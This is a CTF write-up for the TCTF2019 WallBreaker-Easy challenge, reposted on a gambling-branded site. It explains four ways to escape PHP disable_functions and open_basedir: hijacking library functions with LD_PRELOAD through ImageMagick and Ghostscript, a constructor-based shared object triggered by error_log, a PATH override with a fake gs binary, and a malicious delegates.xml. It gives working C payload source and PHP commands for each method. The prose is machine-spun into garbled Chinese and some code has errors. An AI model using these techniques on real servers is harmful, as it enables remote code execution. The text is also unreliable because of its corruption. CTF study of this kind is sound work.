TCTF2019 WallBreaker-Easy 解题剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

TCTF2019 WallBreaker-Easy 解题剖析

申博_安全预警 申博 209次浏览 已收录 0个评论

深入探究:反向代理的攻击面 (下)

让我们接着上节的内容,继续探讨。建议读者先阅读第一部分,这将有助于理解本节的内容。 服务端攻击 请求错误路由 例子2 这是关于Nginx的一个“bug”,准确的说它只是Nignx正常工作导致的(因此不会被修复)。 首先,服务器配置的规则为l

媒介:

上星期打完TCTF,到如今才有时刻整顿一下Write Up。Web偏向统共只需两道题目,个中一题是 Java,我目前为止还无计可施,别的一题就是这道 WallBreaker Easy。话不多说,最先复现:

题目信息:

Imagick is a awesome library for hackers to break disable_functions.
So I installed php-imagick in the server, opened a backdoor for you.
Let’s try to execute /readflag to get the flag.
Open basedir: /var/www/html:/tmp/3accb9900a8be5421641fb31e6861f33
Hint: eval($_POST[“backdoor”]);

disable_functions:

TCTF2019 WallBreaker-Easy 解题剖析

Imagick 相干信息:

TCTF2019 WallBreaker-Easy 解题剖析

下面我们来说说这道题目的几种解法

解法一:

1. 应用 putenv 设置LD_PRELOAD变量

这里须要引见一个前置学问:

LD_PRELOAD 是 Linux 下的一个情况变量,动态链接器在载入一个顺序所需的一切动态库之前,起首会载入LD_PRELOAD 情况变量所指定的动态库。

我们可以或许看到disable_functions 内里是没有 ban 掉 putenv 的,那末我们就可以或许用putenv设置LD_PRELOAD变量,引入本身的歹意动态链接库(同享工具)来挟制库函数,如许若是能再启动一个挪用了这个库函数的顺序,就可以或许完成 RCE 。

在此之前,大多是经由历程mail 函数来启动 sendmail ,然则在这里,mail函数被 ban 掉了,我们只能寻觅其他可以或许启动外部顺序的函数。

2. 经由历程 ImageMagick 挪用外部顺序

依据题目形貌,我们很天然的想到题目出如今 php-imagick ,而 php-imagick,实在只是软件ImageMagick的 PHP 拓展,以是我们须要起首相识一下ImageMagick

引入官方形貌:

Use ImageMagick® to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.

可以或许看到 ImageMagcik 支撑凌驾 200 种花样的文件处置惩罚,我们点击形貌中的链接便可看到详细的范例和形貌:

TCTF2019 WallBreaker-Easy 解题剖析

很轻易就可以发明ImageMagick 在处置惩罚一些范例的文件的时刻须要依靠其他软件。

找出一切挪用 Ghostscript 的文件范例:

EPI  EPS  EPS2 EPS3 EPSF EPSI EPT PDF PS PS2 PS3

先用 PDF 来试一试:

<?php
    $test = new Imagick('1.pdf')

效果运转后报错:

$ php index.php
PHP Fatal error:  Uncaught ImagickException: not authorized `1.pdf' @ error/constitute.c/ReadImage/412 in /tmp/tctf/index.php:2
Stack trace:
#0 /tmp/tctf/index.php(2): Imagick->__construct('1.pdf')
#1 {main}
  thrown in /tmp/tctf/index.php on line 2

搜了一下发明是出于平安斟酌,新版本ImageMagick 默许制止了运用Ghostscript处置惩罚 PDF 文件。详细的设置装备摆设文件在:/etc/ImageMagick-6/policy.xml,相干内容以下:

<policymap>
  ......
  <!-- disable ghostscript format types -->
  <policy domain="coder" rights="none" pattern="PS" />
  <policy domain="coder" rights="none" pattern="EPI" />
  <policy domain="coder" rights="none" pattern="PDF" />
  <policy domain="coder" rights="none" pattern="XPS" />
</policymap>

可以或许看到一同被制止的另有文件拓展名包罗PS EPI XPS 的文件,以是我们上面枚举的文件范例内里就只需EPT 符合要求了。

实行 $ convert 1.png ept:1.ept 天生一个 EPT 文件,运用这个文件再次举行测试发明没有报错,

再实行$ strace -f php index.php 2>&1 | grep -C2 execve看一下有无挪用 ghostscript

TCTF2019 WallBreaker-Easy 解题剖析

可以或许看到是有去实行gs的,申明我们的思绪可行。

3. 天生歹意动态链接库

起首实行 readelf -Ws /usr/bin/gs看一下这个顺序都有哪些标记:

TCTF2019 WallBreaker-Easy 解题剖析

从标记中可以或许看出他挪用的库函数,我们遴选 fflush 这个函数来举行挟制:

#include <stdlib.h>
#include <string.h>
void payload() {
    const char* cmd = getenv('CMD')
    system(cmd);
}
int fflush() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

运用 gcc 将上述内容编译成动态链接库,如今万事俱备,只欠东风!

4. 提议进击

起首将我们天生的 EPT 文件和hack.so 文件应用题目中的后门写入到服务器上,然后实行

putenv('LD_PRELOAD=/tmp/3accb9900a8be5421641fb31e6861f33/hack.so'); 
putenv('CMD=/readflag > /tmp/3accb9900a8be5421641fb31e6861f33/flag.txt');
$img = new Imagick('/tmp/3accb9900a8be5421641fb31e6861f33/1.ept');

再读取 flag.txt,便可拿到 flag。

固然,ImageMagick 会挪用的不但要Ghostscript,以是另有其他范例的文件可以或许应用,这里就不一一枚举了。

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

解法二:

上面的解法是经由历程 ImageMagick 来启动ghostscript 并挟制其库函数,然则我们真的除ImageMagick以外就找不到其他更通用的函数可以或许启动外部顺序了吗?

1. 应用 error_log 函数启动 sendmail

error_log 的详细信息我就不引见了,人人可以或许到官方文档 检察。

这里我们要用到的就是当 error_log 的第二个参数 message_type 的值为 1 的时刻,会挪用mail 函数的同一个内置函数(会实行sendmail 敕令)的特征。

那末思绪和第一种解法相似,我们只需挟制 sendmail 挪用的库函数,然后运用 error_log函数启动 sendmail 历程便可。

然则真的会这么简朴吗?这里有一个题目,题目的服务器上基础没有装置sendmail! 因而即使情况变量被胜利加载,而且 error_log 实验去实行sendmail,也没法胜利实行被我们挟制的库函数。

那末另有其他设施吗?

2. __attribute__((constructor))拓展润饰符?

这个姿态来源于18年12月 FreeBuf 的一篇文章:无需sendmail:巧用LD_PRELOAD打破disable_functions,我发明很多师傅的 Write Up 中都提到了这个要领,然则好像没人对这个要领做进一步的剖析。文章中提到:

GCC 有个 C 言语扩大润饰符 __attribute__((constructor)),可以或许让由它润饰的函数在 main() 之前实行,若它出如今同享工具中时,那末一旦同享工具被体系加载,立行将实行 __attribute__((constructor)) 润饰的函数。

依照这篇文章的说法,我们只需应用putenv设置LD_PRELOAD ,使得运用了__attribute__((constructor))润饰函数的歹意动态链接库被体系加载便能完成敕令实行,而不再须要再去挟制顺序挪用的库函数,sendmail 存不存在也就无所谓了。

然则我们的这个歹意动态链接库(同享工具)究竟是怎样被 “体系” 加载的呢?文章中并没有说清楚。这实际上是这篇文章一个疏漏的处所。

我们要晓得一个顺序的动态链接库并不是所谓被体系加载的,而是被实行的二进制文件去寻觅本身所须要的动态链接库,即使这个库是LD_PRELOAD 所设置的,也须要在一个新历程启动以后,由这个历程将库加载进本身的运转情况(以至若是没有新历程,LD_PRELOAD 变量都不会被加载)。

那末既然sendmail不存在,究竟是哪一个历程加载了我们的动态链接库呢?

这里用原文中的一张图给出谜底:

TCTF2019 WallBreaker-Easy 解题剖析

可以或许看到,除 /usr/bin/php 以外的第一个历程,实际上是/bin/sh,而并不是/usr/sbin/sendmail!然则这篇文章的作者好像却疏忽了/bin/sh

也就是说在这一步,真正加载了动态链接库的实际上是/bin/sh 的历程,实在我们大可不必运用__attribute__((constructor)) ,直接挟制/bin/sh 的库函数便可。

以是说,要想加载动态链接库,就必须启动一个新历程,只需存在新历程,就可以挟制库函数。固然这并不是说__attribute__((constructor)) 没有意义,究竟结果他可以或许帮我们省略遴选库函数的历程。

那末回到题目上来,新的动态链接库源码以下:

#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
    unsetenv("LD_PRELOAD");
    const char* cmd = getenv("CMD");
    system(cmd);
}

或许挟制/bin/sh 的库函数

#include <stdlib.h>
#include <string.h>
void payload() {
    const char* cmd = getenv('CMD')
    system(cmd);
}
int getuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

一样,编译成动态链接库后写入服务器。

3. 提议打击

只需把解法一中实行的末了一行代码改成error_log('',1);

解法三:

前两种要领都是经由历程设置 LD_PRELOAD变量来加载歹意动态链接库,那末除此以外另有无其他变量可以或许应用呢?

1. 掩盖 PATH 变量

我们晓得 Linux 中万物皆文件,实行一个敕令的本质实际上是实行了一个可实行文件,而体系恰是经由历程 PATH情况变量找到敕令对应的可实行文件,当输入敕令的时刻,体系就会去PATH 变量纪录的途径下面寻觅响应的可实行文件。

那末若是我们经由历程putenv 掩盖这个变量为我们可以或许掌握的途径,再将歹意文件上传,定名成对应的敕令的名字,顺序在实行这个敕令的时刻,就会实行我们的歹意文件。

ImageMagick 恰是经由历程实行敕令的情势启动外部顺序的,忘记了的同砚再看一遍这张图应当就可以邃晓了:

TCTF2019 WallBreaker-Easy 解题剖析

2.提议进击

#include <stdlib.h>
#include <string.h>
int main() {
    unsetenv("PATH");
    const char* cmd = getenv("CMD");
    system(cmd);
    return 0;
}

将上述内容编译后定名为 gs,将 gsEPT文件写入到服务器,然后实行:

putenv('PATH=/tmp/3accb9900a8be5421641fb31e6861f33');
putenv('CMD=/readflag > /tmp/3accb9900a8be5421641fb31e6861f33/flag.txt');
chmod('/tmp/3accb9900a8be5421641fb31e6861f33/gs','0777');
$img = new Imagick('/tmp/3accb9900a8be5421641fb31e6861f33/1.ept');

解法四:

1.连系 putenv 和 ImageMagick 特征:

我们在Github上检察ImageMagick 的源码,在官方给出的 QuickStart.txt 中可以或许看到如许的内容:

Configuration Files

      ImageMagick depends on a number of external configuration files which
      include colors.xml, delegates.xml, and others.
      ImageMagick searches for configuration files in the following order, and
      loads them if found:

          $MAGICK_CONFIGURE_PATH
          $MAGICK_HOME/etc/ImageMagick
          $MAGICK_HOME/share/ImageMagick-7.0.2/config
          $HOME/.config/ImageMagick/
          <client path>/etc/ImageMagick/
          <current directory>/

可以或许看到 ImageMagick的设置装备摆设文件地位与情况变量有关,那末连系putenv 我们就可以或许掌握ImageMagick的设置装备摆设。接下来,我们须要做的就是寻觅一些可以或许资助我们实行敕令的设置装备摆设项。

在当地情况的设置装备摆设文件目次逐项检察后,可以或许发明在delegates.xml这个文件内,界说了ImageMagick处置惩罚种种文件范例的划定规矩,花样以下:

<delegatemap>
    ......
  <delegate decode="bpg" command="&quot;bpgdec&quot; -b 16 -o &quot;%o.png&quot; &quot;%i&quot;; /bin/mv &quot;%o.png&quot; &quot;%o&quot;"/>
</delegatemap>

可以或许看到处置惩罚文件所需实行的体系敕令均在这个文件中设置,那末我们就可以或许自界说这个文件来实行敕令了。

2. 提议打击:

起首经由历程一般情况下实行的敕令找到 EPT 文件对应的文件花样为:ps:alpha,那末我们所须要的delegates.xml内容就是:

<delegatemap>
  <delegate decode="ps:alpha" command="sh -c &quot;/readflag > /tmp/3accb9900a8be5421641fb31e6861f33/flag.txt&quot;"/>
</delegatemap>

delegates.xmlEPT 文件写入后,运用题目中的后门实行以下敕令便可:

putenv('MAGICK_CONFIGURE_PATH=/tmp/3accb9900a8be5421641fb31e6861f33');
$img = new Imagick('/tmp/3accb9900a8be5421641fb31e6861f33/1.ept');

AFL源码分析笔记(一)

0x00 前言 总结师傅们笔记,主要源码分析。 0x01 代码覆盖率 代码覆盖率是fuzz中基本概念,先了解清这个概念后面的插装编译等概念才好理解。 代码覆盖率是一种度量代码的覆盖程度的方式,也就是指源代码中的某行代码是否已执行;对二进制


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明TCTF2019 WallBreaker-Easy 解题剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址